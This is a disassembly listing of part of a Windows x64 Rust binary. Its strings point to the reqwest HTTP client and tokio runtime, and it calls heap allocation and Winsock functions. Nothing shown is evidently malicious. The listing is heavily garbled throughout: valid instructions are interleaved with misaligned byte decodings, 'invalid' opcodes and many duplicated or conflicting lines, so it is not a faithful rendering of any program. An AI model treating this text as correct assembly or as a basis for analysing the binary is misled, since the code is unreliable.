add byte [rax], al
add byte [rdx], al
mov qword [rbx + 0xa18], 0xffffffffffffffff
mov qword [rbx + 0xa20], 0x5a
add byte [rdx], bl
add byte [rax], al
add byte [rdx], bl
add byte [rax], al
mov dword [rbx + 0xa28], 0
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 0x831], 1
add byte [rcx], al
jne case.0x14012082a.101
mov byte [rbx + 0xa32], 1
cmp dword [rbx + 0x728], 0
add byte [rax], al
je 0x14013300b
mov eax, dword [rbx + 0x72c]
mov byte [rbx + 0x9f4], 0
xor esp, 9
add byte [rax], al
add byte [rcx + 0x9ec83], cl
or dword [rax], eax
invalid
invalid
xor esp, 9
add byte [rax], al
add byte [rcx + 0x9ec83], cl
or dword [rax], eax
or dword [rax], eax
add byte [rbx + 0x730bb], al
add byte [rax], al
cmp dword [rbx + 0x730], 0
add byte [rax], al
add byte [rbx + rdx - 0x75], dh
adc ecx, dword [rbx + 0x73483]
je 0x140133027
adc ecx, dword [rbx + 0x73483]
mov eax, dword [rbx + 0x734]
add byte [rax], al
add dh, al
xor esp, 9
add byte [rax], al
invalid
mov byte [rbx + 0x9f4], 0
add byte [rax], al
add byte [rcx + 0x9e883], cl
add byte [rax + 0x82cbb], al
add byte [rax], al
mov dword [rbx + 0x9e8], eax
call 0xc0133031
mov ebx, 0x82c
add byte [rax + rbx - 0x3a], dh
mov byte [rbx + 0x9f4], 1
invalid
invalid
invalid
cmp byte [rbx + 0x82c], 0
je 0x140133048
mov byte [rbx + 0x9f4], 1
or dword [rax], eax
add byte [rcx], al
movabs rax, 0xffff0000ffff
mov qword [rbx + 0x9e8], rax
sub eax, 9
add byte [rax], al
call 0xc3133052
mov ebx, 0x738
add byte [rsp + rcx - 0x75], dh
cmp dword [rdi + rax], 0
add byte [rcx + 0x9f083], cl
xor eax, 9
add byte [rax], al
mov eax, dword [rbx + 0x788]
cmp eax, 0x3b9aca00
cmp dword [rbx + 0x738], 0
je 0x14013305d
mov eax, dword [rbx + 0x73c]
mov dword [rbx + 0x9f0], eax
xor eax, 9
add byte [rax], al
xor eax, 9
add byte [rax], al
mov eax, dword [rbx + 0x788]
cmp eax, 0x3b9aca00
jne 0x140133325
mov eax, dword [rbx + 0x798]
cmp eax, 0x3b9aca00
jne 0x14013334a
add byte [rax], al
je 0x14013308f
mov byte [rbx + 0x9f5], 1
mov rax, qword [rbx + 0x750]
mov ecx, dword [rbx + 0x758]
mov qword [rbx + 0xa20], rax
mov dword [rbx + 0xa28], ecx
mov rax, qword [rbx + 0x800]
mov qword [rbx + 0xa18], rax
or al, byte [rax]
add byte [rax - 0x75], cl
mov bl, 0x60
invalid
add byte [rax], al
mov edi, dword [rbx + 0x768]
lea rcx, [rbx + 0x1a0]
mov byte [rbx + 0x65], 1
mov byte [rbx + 0x66], 1
add ax, bp
enter 0xfffffffffffff350, 0xffffffffffffffff
or al, byte [rax]
add byte [rax - 0x75], cl
mov bl, 0x60
invalid
add ax, bp
enter 0xfffffffffffff350, 0xffffffffffffffff
mov qword [rax + 0x40], rsi
jo 0x14013311c
mov dword [rax + 0x48], edi
mov dword [rax + 0x48], edi
cmp byte [rbx + 0x827], 0
je 0x1401330ef
mov byte [rbx + 0xa08], 1
cmp byte [rbx + 0x828], 0
add byte [rax], al
je 0x1401330ff
mov byte [rbx + 0xa0e], 1
or al, byte [rax]
add byte [rcx], al
add byte [rax], al
add dword [rax + 0x829bb], eax
add byte [rax], al
cmp byte [rbx + 0x829], 0
je 0x14013310f
invalid
mov byte [rbx + 0xa0a], 1
add byte [rax], al
add dword [rax + 0x82abb], eax
add byte [rax], al
cmp byte [rbx + 0x82a], 0
je 0x14013311f
mov byte [rbx + 0xa0d], 1
add byte [rax], al
add dword [rax + 0x82bbb], eax
add byte [rax], al
cmp byte [rbx + 0x82b], 0
je 0x14013312f
invalid
mov byte [rbx + 0xa09], 1
mov rcx, qword [rbx + 0x108]
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x140133271
add dword [rax], eax
add byte [rax - 0x75], cl
and byte [r8 - 0x7b], cl
ror byte [rdi], 0x84
add dword cs:[rax], eax
add byte [rbx + rcx*4 + 0x71], cl
mov r14, qword [rcx + 0x10]
mov rcx, rax
mov ecx, eax
shl rcx, 7
mov r14, qword [rcx + 0x10]
mov rcx, rax
mov ecx, eax
shl rcx, 7
lea r12, [rcx + rax*8]
add r12, r14
add esp, esi
add esp, esi
lea r13, [0x1401ef9cc]
lea rsi, [0x1401ea773]
pcmpeqd xmm6, xmm6
jmp 0x14013318b
add r14, 0x88
cmp r14, r12
je 0x140133271
out 0, al
add byte [rax], al
mov rax, qword [r14]
mov r15b, 1
movsxd rax, dword [r13 + rax*4]
add rax, r13
jmp rax
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r8d, r8d
and rax, rdx
movdqu xmm1, xmmword [rcx + rax]
movdqa xmm2, xmm0
pcmpeqb xmm2, xmm1
pmovmskb r9d, xmm2
test r9d, r9d
jne 0x140133230
pcmpeqb xmm1, xmm6
pmovmskb r9d, xmm1
pmovmskb r9d, mm1
pmovmskb r9d, mm1
test r9d, r9d
jne 0x14013317b
add rax, r8
add rax, 0x10
add r8, 0x10
jmp 0x1401331e1
test edx, edx
je 0x1401331fb
tzcnt r10d, r9d
add r10, rax
and r10, rdx
neg r10
imul r10, r10, 0x68
cmp qword [rcx + r10 - 0x58], 4
jne 0x140133220
invalid
xor r15d, r15d
movups xmm0, xmmword [rbx + 0x1f0]
movaps xmmword [rbx + 0x1070], xmm0
movups xmm0, xmmword [rbx + 0x1e0]
movaps xmmword [rbx + 0x1060], xmm0
movups xmm0, xmmword [rbx + 0x1d0]
movaps xmmword [rbx + 0x1050], xmm0
movups xmm0, xmmword [rbx + 0x1c0]
movaps xmmword [rbx + 0x1040], xmm0
movdqu xmm0, xmmword [rbx + 0x180]
movdqu xmm1, xmmword [rbx + 0x190]
movdqu xmm2, xmmword [rbx + 0x1a0]
movdqu xmm3, xmmword [rbx + 0x1b0]
movdqa xmmword [rbx + 0x1030], xmm3
movdqa xmmword [rbx + 0x1020], xmm2
movdqa xmmword [rbx + 0x1010], xmm1
movdqa xmmword [rbx + 0x1000], xmm0
lea rcx, [rbx + 0xa30]
movzx eax, byte [rcx + 2]
mov byte [rbx + 0x652], al
movzx eax, word [rcx]
mov word [rbx + 0x650], ax
mov rsi, qword [rbx + 0x9f8]
test rsi, rsi
je 0x140133370
mov rcx, qword [rbx + 0xa00]
lock inc qword [rsi]
jg 0x140133370
mov rcx, qword [rbx + 0x780]
mov qword [rbx + 0x9d0], rcx
mov dword [rbx + 0x9d8], eax
mov eax, dword [rbx + 0x798]
cmp eax, 0x3b9aca00
je 0x14013307f
movzx edx, byte [rbx + 0xa11]
movzx eax, word [rbx + 0x9f4]
mov r8d, dword [rbx + 0x9f0]
mov r9d, dword [rbx + 0x9d8]
mov ecx, dword [rbx + 0x9d8]
mov ecx, dword [rbx + 0x9d8]
mov r10, qword [rbx + 0x9d0]
mov r11, qword [rbx + 0x9c0]
ror byte [rcx], 0
add byte [rbx + 0x9c8bb], cl
invalid
ror byte [rcx], 0
add byte [rbx + 0x9c8bb], cl
add byte [rdi], cl
movups xmm0, xmmword [rbx + 0x990]
movups xmm0, xmmword [rbx + 0x990]
movups xmm1, xmmword [rbx + 0x9a0]
movups xmm2, xmmword [rbx + 0x9b0]
xchg ebx, eax
mov al, 9
add byte [rax], al
xchg ebx, eax
mov al, 9
add byte [rax], al
mov r14, qword [rbx + 0x9e0]
movzx r12d, byte [rbx + 0xa10]
mov qword [rbx + 0x1158], rsi
mov qword [rbx + 0x1160], rcx
mov byte [rbx + 0x1171], dl
mov rcx, qword [rbx + 0xa08]
mov qword [rbx + 0x1168], rcx
movups xmmword [rbx + 0x10f0], xmm0
movups xmmword [rbx + 0x1100], xmm1
movups xmmword [rbx + 0x1110], xmm2
xchg ebx, eax
adc byte [rcx], dl
add byte [rax], al
xchg ebx, eax
adc byte [rcx], dl
add byte [rax], al
mov qword [rbx + 0x1120], r11
mov dword [rbx + 0x1128], edi
add byte [rax], al
add byte [rax], al
mov qword [rbx + 0x1130], r10
mov dword [rbx + 0x1138], r9d
adc dword [rax], eax
add byte [rcx + rcx*4 - 0x4d], cl
adc dword [rax], eax
add byte [rax - 0x75], cl
mov ebp, eax
or dword [rax], eax
add byte [rax - 0x77], cl
mov ecx, dword [rax + 0x11]
add byte [rax], al
adc dword [rax], eax
add byte [rcx + rcx*4 - 0x4d], cl
adc dword [rax], eax
add byte [rax - 0x75], cl
mov ebp, eax
or dword [rax], eax
add byte [rax - 0x77], cl
mov ecx, dword [rax + 0x11]
add byte [rax], al
mov dword [rbx + 0x1150], r8d
mov word [rbx + 0x1154], ax
mov byte [rbx + 0x1170], r12b
movaps xmm0, xmmword [rbx + 0x1070]
movaps xmmword [rbx + 0xf60], xmm0
movaps xmm0, xmmword [rbx + 0x1060]
movaps xmmword [rbx + 0xf50], xmm0
movaps xmm0, xmmword [rbx + 0x1050]
movaps xmmword [rbx + 0xf40], xmm0
movaps xmm0, xmmword [rbx + 0x1040]
movaps xmmword [rbx + 0xf30], xmm0
movdqa xmm0, xmmword [rbx + 0x1000]
movdqa xmm1, xmmword [rbx + 0x1010]
movdqa xmm2, xmmword [rbx + 0x1020]
movdqa xmm3, xmmword [rbx + 0x1030]
movdqa xmmword [rbx + 0xf20], xmm3
movdqa xmmword [rbx + 0xf10], xmm2
movdqa xmmword [rbx + 0xf00], xmm1
movdqa xmmword [rbx + 0xef0], xmm0
mov rdi, qword [rbx + 0xa18]
test rdi, rdi
je 0x1401337ac
mov rax, qword [rbx + 0xa00]
mov qword [rbx + 0x88], rax
mov r13, qword [rbx + 0xa20]
mov r14d, dword [rbx + 0xa28]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
mov r12b, 1
cmp byte [rax + 0x98], 0
add byte [rax], al
invalid
mov cl, 1
jne 0x140133524
add byte [rax], al
add byte [rcx - 0x17e08aff], dh
push rsi
xor eax, 0x58bfff0
lock dec dword [rbx + 0x108dfc05]
call fcn.140036a60
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
invalid
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx ecx, byte [rax + 0x98]
mov dword [rbx + 0x78], r14d
mov eax, dword [0x14023c30c]
mov rdx, qword gs:[0x58]
mov r8, qword [rdx + rax*8]
mov r9, qword [r8 + 0xa0]
mov rax, qword [r8 + 0xa8]
lea rdx, [r9 + 1]
mov qword [r8 + 0xa0], rdx
pxor xmm6, xmm6
movdqu xmmword [rbx + 0x528], xmm6
add byte [rax], al
mov qword [rbx + 0x538], 0
lea r14, [0x1401c45b0]
adc byte ds:[rcx], cl
add byte [rcx + rcx*4 - 0x4d], cl
and byte [0xc95f357b], al
mov eax, dword [rax + 5]
add byte [rax], al
adc byte ds:[rcx], cl
add byte [rcx + rcx*4 - 0x4d], cl
and byte [0xc95f357b], al
mov eax, dword [rax + 5]
add byte [rax], al
mov qword [rbx + 0x548], rax
test cl, 1
jne 0x1401335ba
invalid
call fcn.140036a60
call fcn.140036a60
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
mov rdx, qword [rcx + 0xa0]
mov rax, qword [rcx + 0xa8]
movzx r12d, byte [rcx + 0x98]
lea rcx, [rdx + 1]
mov r8d, dword [0x14023c30c]
lea edx, [rax]
add byte [rbp + 0x4c], ah
mov ecx, dword [0x58]
add byte [rax], al
lea edx, [rax]
add byte [rbp + 0x4c], ah
mov ecx, dword [0x58]
add byte [rax], al
add byte [rax], al
mov r8, qword [r9 + r8*8]
mov qword [r8 + 0xa0], rcx
mov qword [rbx + 0xc40], r14
or al, 0
add bl, dh
movq qword [rbx + 0xc48], mm6
or al, 0
add bl, dh
movq qword [rbx + 0xc48], mm6
mov qword [rbx + 0xc58], 0
mov qword [rbx + 0xc60], rdx
mov qword [rbx + 0xc68], rax
mov qword [rbx + 0x5c0], 0
test r12b, 1
jne 0x140133638
call fcn.140036a60
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rcx, qword [rax + 0xa0]
mov rax, qword [rax + 0xa8]
mov eax, dword [rax + 0xa8]
mov eax, dword [rax + 0xa8]
lea rdx, [rcx + 1]
mov r8d, dword [0x14023c30c]
leave
mov word [rax], ss
add byte [rbp + 0x4c], ah
mov ecx, dword [0x58]
leave
mov word [rax], ss
add byte [rbp + 0x4c], ah
mov ecx, dword [0x58]
mov r8, qword [r9 + r8*8]
mov qword [r8 + 0xa0], rdx
test rsi, rsi
je case.0x14011633f.312
ror dword [rcx - 0x77], 0x90
movabs al, byte [0xa74f68548000000]
lock inc qword [rsi]
jle 0x140133cf9
movups xmm0, xmmword [rbx + 0x520]
movups xmm1, xmmword [rbx + 0x530]
movups xmm2, xmmword [rbx + 0x540]
xchg ebx, eax
invalid
invalid
add byte [rax], al
xchg ebx, eax
add eax, 0x110f0000
xchg ebx, eax
push rax
add al, byte [rax]
add byte [rax], al
movups xmmword [rbx + 0x240], xmm1
add byte [rax], al
movups xmmword [rbx + 0x250], xmm2
add byte [rax], al
movups xmmword [rbx + 0x240], xmm1
movups xmmword [rbx + 0x230], xmm0
movdqu xmm0, xmmword [rbx + 0xc40]
movdqu xmm1, xmmword [rbx + 0xc50]
movdqu xmm2, xmmword [rbx + 0xc60]
movdqu xmmword [rbx + 0x260], xmm0
movdqu xmmword [rbx + 0x270], xmm1
movdqu xmmword [rbx + 0x280], xmm2
mov qword [rbx + 0x210], 0
mov byte [rbx + 0x218], 0
mov qword [rbx + 0x220], rsi
add al, byte [rax]
add byte [rax - 0x75], cl
xchg ebx, eax
mov byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x75], cl
xchg ebx, eax
mov byte [rax], al
add byte [rax], al
mov qword [rbx + 0x228], rdx
mov qword [rbx + 0x290], r14
pxor xmm0, xmm0
movdqu xmmword [rbx + 0x298], xmm0
movq qword [rbx + 0x298], mm0
add byte [rcx + rcx*4 - 0x4d], cl
nop
add al, byte [rax]
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
invalid
jg 0x140133679
movq qword [rbx + 0x298], mm0
cwde
add al, byte [rax]
add byte [rax - 0x39], cl
sub dword [rax + 2], 0
mov qword [rbx + 0x2a8], 0
add byte [rax], al
mov qword [rbx + 0x2b0], rcx
mov qword [rbx + 0x2b8], rax
mov qword [rbx + 0x2c0], rdi
mov qword [rbx + 0x2c8], 0
mov qword [rbx + 0x2d0], r13
mov eax, dword [rbx + 0x78]
mov dword [rbx + 0x2d8], eax
add byte [rax - 0x39], cl
add dword [rax], 2
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
add dword [rax], 2
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rbx + 0x208], 1
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140133777
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140133ce8
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0xe0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140133ce8
pop rdx
invalid
add byte [rax], al
pop rdx
add eax, 0x8d480000
xchg ebx, eax
add byte [rdx], al
add byte [rax], al
lea rdx, [rbx + 0x200]
mov r8d, 0xe0
mov rcx, rax
mov qword [rbx + 0x88], rax
call sub.VCRUNTIME140.dll_memcpy
sub eax, 0x9eb0005
sub eax, 0x9eb0005
xor eax, eax
mov qword [rbx + 0x88], rax
movzx eax, byte [rbx + 0x652]
mov byte [rbx + 0x322], al
movzx eax, word [rbx + 0x650]
mov word [rbx + 0x320], ax
add byte [rax], al
add byte [rax], al
lea rcx, [rbx + 0xc40]
lea rdx, [rbx + 0x10f0]
mov r8d, 0x88
call sub.VCRUNTIME140.dll_memcpy
add byte [rdi], cl
sub byte [rbx + 0xef0], al
add byte [rdi], cl
sub byte [rbx + 0xef0], al
movaps xmm1, xmmword [rbx + 0xf00]
movaps xmm2, xmmword [rbx + 0xf10]
movaps xmm3, xmmword [rbx + 0xf20]
movups xmmword [rbx + 0xcc8], xmm0
movups xmmword [rbx + 0xcd8], xmm1
movups xmmword [rbx + 0xce8], xmm2
movups xmmword [rbx + 0xcf8], xmm3
movaps xmm0, xmmword [rbx + 0xf30]
movups xmmword [rbx + 0xd08], xmm0
movaps xmm0, xmmword [rbx + 0xf40]
movups xmmword [rbx + 0xd18], xmm0
movaps xmm0, xmmword [rbx + 0xf50]
sub byte [rbx + 0xf50], al
sub byte [rbx + 0xf50], al
movups xmmword [rbx + 0xd28], xmm0
movaps xmm0, xmmword [rbx + 0xf60]
movups xmmword [rbx + 0xd38], xmm0
movups xmm0, xmmword [rbx + 0x710]
adc dword [rax], 7
add byte [rax], al
adc dword [rax], 7
add byte [rax], al
movups xmmword [rbx + 0x388], xmm0
mov rax, qword [rbx + 0x720]
mov qword [rbx + 0x398], rax
movzx r12d, byte [rbx + 0x824]
mov rdi, qword [rbx + 0x770]
add byte [rax], al
add byte [rax], al
mov r14d, dword [rbx + 0x778]
mov rsi, qword [rbx + 0x108]
movzx r13d, byte [rbx + 0x830]
mov r8d, 0x108
or byte [rcx], al
add byte [rax], al
or byte [rcx], al
add byte [rax], al
lea rcx, [rbx + 0x210]
lea rdx, [rbx + 0xc40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbx + 0x10f0]
mov dword [rbx + 0x323], eax
movzx eax, byte [rbx + 0x10f4]
mov byte [rbx + 0x327], al
mov rax, qword [rbx + 0x88]
mov qword [rbx + 0x318], rax
movups xmm0, xmmword [rbx + 0x6b0]
movdqu xmm1, xmmword [rbx + 0x6c0]
movdqu xmm2, xmmword [rbx + 0x6d0]
movdqu xmm3, xmmword [rbx + 0x6e0]
movq mm3, qword [rbx + 0x6e0]
movq mm3, qword [rbx + 0x6e0]
movups xmmword [rbx + 0x328], xmm0
movdqu xmmword [rbx + 0x338], xmm1
movdqu xmmword [rbx + 0x348], xmm2
add bl, dh
movq qword [rbx + 0x358], mm3
add bl, dh
movq qword [rbx + 0x358], mm3
movups xmm0, xmmword [rbx + 0x6f0]
add byte [rax], al
movups xmmword [rbx + 0x368], xmm0
movdqu xmm0, xmmword [rbx + 0x700]
movdqu xmmword [rbx + 0x378], xmm0
mov qword [rbx + 0x3a0], rdi
mov dword [rbx + 0x3a8], r14d
mov qword [rbx + 0x3b0], rsi
mov bl, 0xb0
add eax, dword [rax]
add byte [rax + rcx*4 - 0x5d], al
invalid
add eax, dword [rax]
add byte [rax], al
mov bl, 0xb0
add eax, dword [rax]
add byte [rax + rcx*4 - 0x5d], al
mov eax, 0x44000003
add byte [rax], al
mov byte [rbx + 0x3b9], r15b
add byte [rax], al
mov byte [rbx + 0x3b9], r15b
mov byte [rbx + 0x3ba], r13b
mov byte [rbx + 0x3ba], ch
movzx eax, byte [rbx + 0xc44]
mov byte [rbx + 0x3bf], al
mov eax, dword [rbx + 0xc40]
add dword [rax + 0xc], 0
add byte [rcx + 0x3bb83], cl
add byte [rax - 0x39], cl
add dword [rax], 2
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add dword [rax + 0xc], 0
add byte [rcx + 0x3bb83], cl
add byte [rax - 0x39], cl
cmp dword [rbx + 0x48000003], 0xffffffc7
add dword [rax], 2
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rbx + 0x208], 1
movzx eax, byte [0x14023c308]
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rdi], cl
mov dh, 5
jb 0x14013391d
adc byte [rax], al
mov rcx, qword [0x14023c258]
test rcx, rcx
mov byte [rax], dl
add byte [rax - 0x7b], cl
leave
jne 0x1401339bb
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
cwde
mov dh, 5
add eax, 0xc0854800
je 0x140133cd7
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x1c0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
add eax, 0xc0854800
je 0x140133cd7
mov rcx, rax
mov qword [0x14023c258], rax
add eax, 0x10889d
mov r8d, 0x1c0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
test eax, eax
je 0x140133cd7
mov rsi, rax
mov esi, eax
lea rdx, [rbx + 0x200]
mov r8d, 0x1c0
rol byte [rcx], 0
add byte [rax - 0x77], cl
shr eax, 0xf1
invalid
invalid
invalid
rol byte [rcx], 0
add byte [rax - 0x77], cl
shr eax, 0xf1
sub al, byte [0xc39e81ed]
clc
or dword [rax], eax
add byte [rax - 0x7b], cl
sal byte [rdi + riz - 0x10], 0x48
dec dword [rax]
mov rax, qword [rbx + 0x9f8]
test rax, rax
je 0x140133a1d
lock dec qword [rax]
jne 0x140133a1d
and dword [rax - 0x75], ecx
mov rcx, qword [rbx + 0x9f8]
mov rdx, qword [rbx + 0xa00]
mov edx, dword [rbx + 0xa00]
mov edi, eax
or dword [rax], eax
add byte [rax - 0x75], cl
mov edx, dword [rbx + 0xa00]
mov edx, dword [rbx + 0xa00]
mov byte [rbx + 0xbd], 0
mov byte [rbx + 0xbe], 0
invalid
add byte [rax], al
add dh, al
cmp dword [rsi], 0xffffffe8
add al, ch
add al, ch
call fcn.14006cb50
xor edx, dword [rcx - 0x7cb7000d]
mov ebx, 0x808
add byte [rax], al
cmp qword [rbx + 0x808], 0
je 0x140133a33
add byte [rax], al
add byte [rsp + rcx + 0x48], dh
lea rcx, [rbx + 0x808]
lea ecx, [rbx + 0x808]
call fcn.140002410
dec dword [rax - 0x7d]
mov ebx, 0xd0
cmp qword [rbx + 0xd0], 0
jne 0x140133a49
invalid
add byte [rbp + 0xc], dh
or al, 0x48
lea ecx, [rbx + 0x7d0]
lea rcx, [rbx + 0x7d0]
call fcn.140068ff0
cmp qword [rbx + 0x68], 0
jne 0x140131799
push 0x45850f00
invalid
mov rax, qword [rbx + 0x810]
adc byte [rax], cl
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
xor eax, 0xf0ffffdd
dec qword [rax]
test rax, rax
je 0x140131799
lock dec qword [rax]
mov dil, 1
je 0x140131781
invalid
invalid
invalid
invalid
jmp 0x140131799
test rax, rax
test eax, eax
je 0x1401318c7
dec dword [rcx - 0x77]
invalid
add rdx, 2
add edx, 2
cmp rcx, rax
cmovne rcx, rdx
cmovne ecx, edx
cmovne ecx, edx
mov rdx, rcx
cmp rcx, rax
je 0x1401318ca
lea rcx, [rdx + 1]
lea ecx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x140133a95
cmp r9b, 0xe0
cmp cl, 0xe0
jb 0x140133a8a
cmp r9b, 0xed
jne 0x140133adf
cmp rcx, rax
je 0x1401318ca
invalid
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x1401318ca
cmp byte [rdx + 1], 0x9f
ja 0x140133b3a
add rdx, 3
mov rcx, rdx
jmp 0x140133a95
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x140133a95
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
add ecx, edx
add ecx, edx
jmp 0x140133a95
mov ecx, dword [rax]
mov eax, dword [rax + 3]
mov dword [rbx + 0x9ac], eax
mov dword [rbx + 0x9a9], ecx
or dword [rax], eax
add byte [rcx + rcx*4 - 0x4d], cl
nop
or dword [rax], eax
add byte [rax - 0x77], cl
mov bl, 0x98
or dword [rax], eax
add byte [rcx + rcx*4 - 0x55], cl
movabs al, byte [0x9a883c6000009]
test al, 9
add byte [rax], al
invalid
or dword [rax], eax
add byte [rcx + rcx*4 - 0x4d], cl
nop
or dword [rax], eax
add byte [rax - 0x77], cl
mov bl, 0x98
or dword [rax], eax
add byte [rcx + rcx*4 - 0x55], cl
movabs al, byte [0x9a883c6000009]
test al, 9
add byte [rax], al
invalid
test al, 9
add byte [rax], al
add cl, ch
invalid
jmp 0x14013162c
xor r14d, r14d
jmp 0x1401318ca
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_blockingclient.rs
mov edx, 0x23
call fcn.140186b70
ud2
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_blockingclient.rs
mov edx, 0x22
call fcn.140186b70
ud2
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x28
call fcn.140186620
jmp 0x140133cfd
jae 0x140133b89
add byte [rax], al
jae 0x140133b89
add byte [rax], al
add dh, al
invalid
mov byte [rbx + 0x61], 1
mov byte [rbx + 0x62], 1
mov byte [rbx + 0x63], 1
mov byte [rbx + 0x64], 1
mov ecx, 8
mov edx, reloc.WS2_32.dll_recv
add al, ch
ja 0x140133bd1
add eax, 0x14fe900
add byte [rax], al
add al, ch
ja 0x140133bd1
add eax, 0x14fe900
add byte [rax], al
mov ecx, 8
mov edx, 0x80
add byte [rdx + 0x80], bh
call fcn.140186620
jmp 0x140133cfd
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_syncmpscunbounded.rs
add byte [rdx + 0x23], bh
add byte [rdx + 0x23], bh
and eax, dword [rax]
add byte [rax], al
call fcn.140186b70
jmp 0x140133cfd
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_syncmpscunbounded.rs
mov edx, 0x22
call fcn.140186b70
jmp 0x140133cfd
mov ecx, 1
mov rdx, r15
call fcn.140186620
jmp 0x140133cfd
lea rax, [0x1401be478]
mov qword [rbx + 0xc40], rax
lea rax, [0x1400141a0]
mov qword [rbx + 0xc48], rax
lea rax, str.internal_error:_entered_unreachable_code:
mov qword [rbx + 0x200], rax
mov qword [rbx + 0x208], 1
mov qword [rbx + 0x220], 0
lea rax, [rbx + 0xc40]
mov qword [rbx + 0x210], rax
mov qword [rbx + 0x218], 1
mov byte [rbx + 0x61], 1
mov byte [rbx + 0x62], 1
mov byte [rbx + 0x63], 1
mov byte [rbx + 0x64], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_async_implclient.rs
lea rcx, [rbx + 0x200]
call fcn.1401869b0
jmp 0x140133cfd
mov ecx, 8
mov edx, 0x40
call fcn.140186620
jmp 0x140133cfd
mov ecx, 8
mov edx, 0x28
call fcn.140186620
jmp 0x140133cfd
call fcn.1400106d0
jmp 0x140133cfd
mov ecx, 8
mov edx, 8
call fcn.140186620
jmp 0x140133cfd
mov ecx, 8
mov edx, WSAStartup
call fcn.140186620
jmp 0x140133cfd
mov ecx, 8
mov edx, 0x1c0
call fcn.140186620
jmp 0x140133cfd
mov ecx, 8
mov edx, 0xe0
call fcn.140186620
jmp 0x140133cfd
ud2
ud2
mov rax, qword [rbx + 0xc0]
lea rdi, [rax + 0x1b0]
mov qword [rax + 0x1b8], rdi
lea rcx, [rax + 0x1c8]
mov qword [rbx + 0x68], rcx
mov byte [rax + 0x1c8], 0
mov qword [rax + 0x1c0], rdi
mov rcx, qword [rbx + 0x648]
call fcn.1400a6a00
test al, 1
jne 0x140135fcc
mov ecx, eax
shr ecx, 0x10
mov dword [rbx + 0x90], ecx
shr eax, 8
mov dword [rbx + 0xa8], eax
mov r13, qword [rdi]
lea rdi, [r13 + 0x1a0]
lea r14, [r13 + 0x80]
lea rcx, [rbx + 0x200]
mov rdx, rdi
mov r8, r14
call fcn.14012a040
mov r15, qword [rbx + 0x200]
cmp r15, 2
je 0x140133e0e
cmp r15d, 3
jne 0x140133e42
mov rax, qword [r13 + 0x1c0]
mov r15d, 2
cmp rax, 2
jb 0x140133eaa
lea rcx, [rbx + 0x9a0]
lea rdx, [rbx + 0x1000]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
movdqa xmm0, xmmword [rbx + 0x960]
movdqu xmmword [rbx + 0xa90], xmm0
mov eax, 1
lock xadd qword [0x14023c0a0], rax
mov qword [rbx + 0x180], rax
mov qword [rbx + 0x990], r14
mov qword [rbx + 0x998], rdi
mov qword [rbx + 0xa88], 8
mov qword [rbx + 0xaa0], r12
mov rax, qword [rbx + 0xb0]
mov qword [rbx + 0xaa8], rax
mov rax, qword [rbx + 0x78]
mov qword [rbx + 0xab0], rax
mov qword [rbx + 0xab8], 0
mov qword [rbx + 0xac0], rsi
mov rax, qword [rbx + 0x158]
mov qword [rbx + 0xac8], rax
mov byte [rbx + 0xc28], 0
lea rax, [rbx + 0x180]
mov qword [rbx + 0xc30], rax
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
cmp eax, 1
je 0x1401342d2
test eax, eax
jne 0x140136768
mov byte [rbx + 0xa7], 1
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
